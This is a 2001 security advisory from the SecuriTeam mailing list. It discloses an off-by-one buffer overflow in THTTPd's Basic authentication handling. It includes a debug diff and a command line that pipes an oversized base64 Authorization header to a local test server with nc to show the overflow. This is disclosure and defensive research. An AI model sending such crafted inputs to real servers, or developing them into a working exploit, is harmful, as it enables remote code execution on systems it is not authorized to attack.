[UNIX] Off-By-One Security Vulnerability in THTTPd
From: support@securiteam.comDate: 11/25/01
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From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] Off-By-One Security Vulnerability in THTTPd Message-Id: <20011125225126.C2ED4138BF@mail.der-keiler.de> Date: Sun, 25 Nov 2001 23:51:26 +0100 (CET)
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Off-By-One Security Vulnerability in THTTPd
------------------------------------------------------------------------
SUMMARY
<http://www.acme.com/software/thttpd/thttpd.html> THTTPd is a simple,
small, portable, fast, and secure HTTP server. A buffer overflow in the
product may enable remote users to run arbitrary code on the machine.
DETAILS
Demonstration:
1) Apply the following diff:
--- libhttpd.c Tue Nov 20 14:50:00 2001
+++ libhttpd-new.c Tue Nov 20 14:22:12 2001
@@ -886,6 +886,7 @@
/* Decode it. */
l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo)
);
authinfo[l] = '\0';
+ printf("%02x\n", authinfo[499]);
/* Split into user and password. */
authpass = strchr( authinfo, ':' );
if ( authpass == (char*) 0 )
This allows us to see what the final element in the array ends up to be.
2) Build, and then:
[terminal 1]
$ mkdir test
$ echo "joe:blow" > test/.htpasswd
$ ./thttpd -D -p 7777
[terminal 2]
(printf "GET /test/ HTTP/1.0\r\nAuthorization: Basic " ; printf `perl -e
'print "A"x550'` | openssl enc -base64 -e -in /dev/stdin ; printf
"\r\n\r\n") | nc 0 7777
[terminal 1]
We see '41'. This means an 'off-by-one' overflow is present.
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq@bugtraq.org>
bugtraq.
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